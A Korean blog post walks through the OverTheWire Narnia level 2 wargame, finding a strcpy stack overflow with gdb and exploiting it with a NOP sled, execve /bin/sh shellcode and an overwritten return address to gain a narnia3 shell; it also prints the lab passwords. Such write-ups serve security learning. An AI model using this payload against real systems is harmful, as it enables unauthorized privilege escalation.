[overthewire] Narnia level2

mj·2023년 1월 27일
0
post-thumbnail

접속

ssh -p 2226 narnia2@narnia.labs.overthewire.org
pw: nairiepecu

주어진 정보 확인

/narnia/ 디렉터리에서 narnia2.c파일의 내용을 확인해보자

// narnia2.c
/*
   This program is free software; you can redistribute it and/or modify
   it under the terms of the GNU General Public License as published by
   the Free Software Foundation; either version 2 of the License, or
   (at your option) any later version.

   This program is distributed in the hope that it will be useful,
   but WITHOUT ANY WARRANTY; without even the implied warranty of
   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
   GNU General Public License for more details.

   You should have received a copy of the GNU General Public License
   along with this program; if not, write to the Free Software
   Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char * argv[]){
    char buf[128];

    if(argc == 1){
        printf("Usage: %s argument\n", argv[0]);
        exit(1);
    }
    strcpy(buf,argv[1]);
    printf("%s", buf);

    return 0;
}

소스코드를 확인해봤을 때 main 함수에서 인자값을 받고 있고, 조건문에서 인자값이 있는지 확인을 하고 있다.

그리고 strcpy함수에서 인자값을 buf 변수에 복사하고 있다.

strcpy 함수에서 스택 오버플로우 취약점이 발생하므로 전형적인 스택 오버플로우 문제인 것 같다.

필요한 정보

공격에 필요한 정보는 다음과 같다

  1. buf 와 return address 사이의 바이트 수
  2. buf의 주소 구하기

buf 주소와 return address 주소 구하기

gdb 툴을 사용하여 eip를 탈취하기 위해 바이트 수를 구해보자

narnia2@narnia:/narnia$ mkdir /tmp/narnia2_tmp
narnia2@narnia:/narnia$ cp narnia2 /tmp/narnia2_tmp
narnia2@narnia:/narnia$ cd /tmp/narnia2_tmp
narnia2@narnia:/tmp/narnia2_tmp$ gdb -q ./narnia2
Reading symbols from ./narnia2...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
   0x0804844b <+0>:     push   %ebp
   0x0804844c <+1>:     mov    %esp,%ebp
   0x0804844e <+3>:     add    $0xffffff80,%esp
   0x08048451 <+6>:     cmpl   $0x1,0x8(%ebp)
   0x08048455 <+10>:    jne    0x8048471 <main+38>
   0x08048457 <+12>:    mov    0xc(%ebp),%eax
   0x0804845a <+15>:    mov    (%eax),%eax
   0x0804845c <+17>:    push   %eax
---Type <return> to continue, or q <return> to quit---
   0x0804845d <+18>:    push   $0x8048520
   0x08048462 <+23>:    call   0x8048300 <printf@plt>
   0x08048467 <+28>:    add    $0x8,%esp
   0x0804846a <+31>:    push   $0x1
   0x0804846c <+33>:    call   0x8048320 <exit@plt>
   0x08048471 <+38>:    mov    0xc(%ebp),%eax
   0x08048474 <+41>:    add    $0x4,%eax
   0x08048477 <+44>:    mov    (%eax),%eax
   0x08048479 <+46>:    push   %eax
---Type <return> to continue, or q <return> to quit---
   0x0804847a <+47>:    lea    -0x80(%ebp),%eax
   0x0804847d <+50>:    push   %eax
   0x0804847e <+51>:    call   0x8048310 <strcpy@plt>
   0x08048483 <+56>:    add    $0x8,%esp
   0x08048486 <+59>:    lea    -0x80(%ebp),%eax
   0x08048489 <+62>:    push   %eax
   0x0804848a <+63>:    push   $0x8048534
   0x0804848f <+68>:    call   0x8048300 <printf@plt>
   0x08048494 <+73>:    add    $0x8,%esp
---Type <return> to continue, or q <return> to quit---
   0x08048497 <+76>:    mov    $0x0,%eax
   0x0804849c <+81>:    leave  
   0x0804849d <+82>:    ret    
End of assembler dump.
(gdb) 

bufreturn address의 주소를 구하기 위해 main, main+51에 breakpoint를 걸고, return address를 확인해보자

(gdb) b *main
Breakpoint 1 at 0x804844b
(gdb) b *main+51
Breakpoint 2 at 0x804847e
(gdb) r AAAA
Starting program: /tmp/narnia2_tmp/narnia2 AAAA

Breakpoint 1, 0x0804844b in main ()
(gdb) info reg esp
esp            0xffffd69c       0xffffd69c
(gdb) x/4xw 0xffffd69c
0xffffd69c:     0xf7e2a286      0x00000002      0xffffd734      0xffffd740
(gdb) 
  • return address의 주소: 0xffffd69c

이제 buf의 주소를 구해보자

(gdb) c
Continuing.

Breakpoint 2, 0x0804847e in main ()
(gdb) info reg esp
esp            0xffffd610       0xffffd610
(gdb) x/4xw 0xffffd610
0xffffd610:     0xffffd618      0xffffd887      0x002c307d      0x00000000
(gdb) 
  • buf의 주소: 0xffffd618

마지막으로 두 주소 사이의 바이트 값을 구하자

(gdb) p 0xffffd69c - 0xffffd618
$1 = 132
(gdb) 
  • buf 주소와 return address 주소 사이의 바이트 값: 132

buf의 주소 구하기

buf의 주소를 앞에서 구했는데 왜 또 구하냐고 생각할 수도 있다.

하지만 앞에서 프로그램 실행시 인자값으로 넘겨줬던 인자값의 길이는 4바이트밖에 되지 않는다.

만약 우리가 132바이트를 인자로 넘겨준다면 스택에는 그만큼 바이트가 쌓이게 되고, buf의 주소도 변경돼버린다.

이제 앞에서 했던 방법과 동일하게 buf의 주소를 구해보자

narnia2@narnia:/tmp/narnia2_tmp$ gdb -q narnia2
Reading symbols from narnia2...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
   0x0804844b <+0>:     push   %ebp
   0x0804844c <+1>:     mov    %esp,%ebp
   0x0804844e <+3>:     add    $0xffffff80,%esp
   0x08048451 <+6>:     cmpl   $0x1,0x8(%ebp)
   0x08048455 <+10>:    jne    0x8048471 <main+38>
   0x08048457 <+12>:    mov    0xc(%ebp),%eax
   0x0804845a <+15>:    mov    (%eax),%eax
   0x0804845c <+17>:    push   %eax
   0x0804845d <+18>:    push   $0x8048520
   0x08048462 <+23>:    call   0x8048300 <printf@plt>
   0x08048467 <+28>:    add    $0x8,%esp
   0x0804846a <+31>:    push   $0x1
   0x0804846c <+33>:    call   0x8048320 <exit@plt>
   0x08048471 <+38>:    mov    0xc(%ebp),%eax
---Type <return> to continue, or q <return> to quit---
   0x08048474 <+41>:    add    $0x4,%eax
   0x08048477 <+44>:    mov    (%eax),%eax
   0x08048479 <+46>:    push   %eax
   0x0804847a <+47>:    lea    -0x80(%ebp),%eax
   0x0804847d <+50>:    push   %eax
   0x0804847e <+51>:    call   0x8048310 <strcpy@plt>
   0x08048483 <+56>:    add    $0x8,%esp
   0x08048486 <+59>:    lea    -0x80(%ebp),%eax
   0x08048489 <+62>:    push   %eax
   0x0804848a <+63>:    push   $0x8048534
   0x0804848f <+68>:    call   0x8048300 <printf@plt>
   0x08048494 <+73>:    add    $0x8,%esp
   0x08048497 <+76>:    mov    $0x0,%eax
   0x0804849c <+81>:    leave  
   0x0804849d <+82>:    ret    
---Type <return> to continue, or q <return> to quit---
End of assembler dump.
(gdb) b *main
Breakpoint 1 at 0x804844b
(gdb) b *main+51
Breakpoint 2 at 0x804847e
(gdb) b *main+81
Breakpoint 3 at 0x804849c

마지막에 return address 주소가 제대로 덮어졌는지 확인하기 위해 main+81에도 breakpoint를 걸어줬다.

프로그램을 실행시킬 때는 132 바이트의 dummy+shellcode, 그리고 return address로 들어갈 AAAA 4바이트를 넣어서 실행시키자

(gdb) r `python -c 'print "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" + "\x90"*7 + "AAAA"'`
Starting program: /tmp/narnia2_tmp/narnia2 `python -c 'print "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" + "\x90"*7 + "AAAA"'`

Breakpoint 1, 0x0804844b in main ()
(gdb) x/4xw $esp
0xffffd61c:     0xf7e2a286      0x00000002      0xffffd6b4      0xffffd6c0
(gdb) c
Continuing.

Breakpoint 2, 0x0804847e in main ()
(gdb) x/4xw $esp
0xffffd590:     0xffffd598      0xffffd803      0x002c307d      0x00000000
(gdb) 

return address의 주소는 0xffffd61c이고, buf의 주소는 0xffffd598이다.

  • buf의 주소: 0xffffd598

이제 다시 프로그램을 진행시켜서 return address가 제대로 덮어졌는지 확인해보자

(gdb) c
Continuing.

Breakpoint 3, 0x0804849c in main ()
(gdb) x/4xw 0xffffd61c
0xffffd61c:     0x41414141      0x00000000      0xffffd6b4      0xffffd6c0
(gdb) 

return address가 우리가 넣어준 AAAA(\x41\x41\x41\x41)로 덮어써진 것을 확인할 수 있다.

이제 페이로드를 작성해보자

공격 진행하기

이제 필요한 정보를 모두 모았으므로 페이로드를 작성해보자

원래 base 스택의 구조와 exploit 시 덮어씌워질 스택의 구조는 다음과 같다.

base 스택buf(128bytes)+ebpreturn address
exploit 스택NOP(107bytes)+shellcode(25bytes)buf의 주소

exploit 코드는 아래와 같다.

/narnia/narnia2 python -c 'print "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" + "\x90"*7 + "\xca\xd5\xff\xff"'

우리가 gdb 툴에서 구한 buf의 주소는 0xffffd598 이지만 파일명의 길이나 환경변수에 따라 주소가 조금씩 변경될 수있기 때문에 shellcode 앞에 NOP을 넣어놓고, buf의 주소에 0x32(50) 을 더해서 exploit 코드를 작성했다.

core dump가 발생했다.

gdb를 통해 무엇이 문제인지 확인해보자

narnia2@narnia:/tmp/narnia2_tmp$ gdb narnia2 core
GNU gdb (Debian 7.12-6) 7.12.0.20161007-git
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
---Type <return> to continue, or q <return> to quit---
Type "apropos word" to search for commands related to "word"...
Reading symbols from narnia2...(no debugging symbols found)...done.
[New LWP 12674]
Core was generated by `./narnia2 ���������������������������������������������������������������������
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0xffffd59a in ?? ()
(gdb) x/30xw 0xffffd59a
0xffffd59a:     0x0000f7e5      0x00020000      0x50000000      0xd658f7fc
0xffffd5aa:     0xb7f6ffff      0x5d60f7e5      0x8534f7fc      0xd5d80804
0xffffd5ba:     0xb7d0ffff      0xd5d8f7e5      0xd920ffff      0xb7d5f7ff
0xffffd5ca:     0x8494f7e5      0x85340804      0xd5d80804      0x9090ffff
0xffffd5da:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd5ea:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd5fa:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd60a:     0x90909090      0x90909090
(gdb) 

아마 어떤 이유로 스택이 밀려 buf의 주소가 이동한 것 같다. 0xffffd5da에 우리가 적성한 NOP이 있으므로 return address의 주소를 0xffffd5da로 바꾼 후에 다시 입력해보자

narnia2@narnia:/tmp/narnia2_tmp$ ./narnia2 `python -c 'print "\x90"*90 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" + "\x90"*17 + "\xda\xd5\xff\xff"'`
$ id
uid=14002(narnia2) gid=14002(narnia2) groups=14002(narnia2)
$ 

공격에 성공했다.

이제 첫번째 인자를 /narnia/narnia2로 변경한 후에 다시 공격해보자

narnia2@narnia:/tmp/narnia2_tmp$ /narnia/narnia2 `python -c 'print "\x90"*90 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" + "\x90"*17 + "\xda\xd5\xff\xff"'`
$ id
uid=14002(narnia2) gid=14002(narnia2) euid=14003(narnia3) groups=14002(narnia2)
$ 

쉘을 획득했다.

id: narnia3
pw: vaequeezee

profile
사는게 쉽지가 않네요

0개의 댓글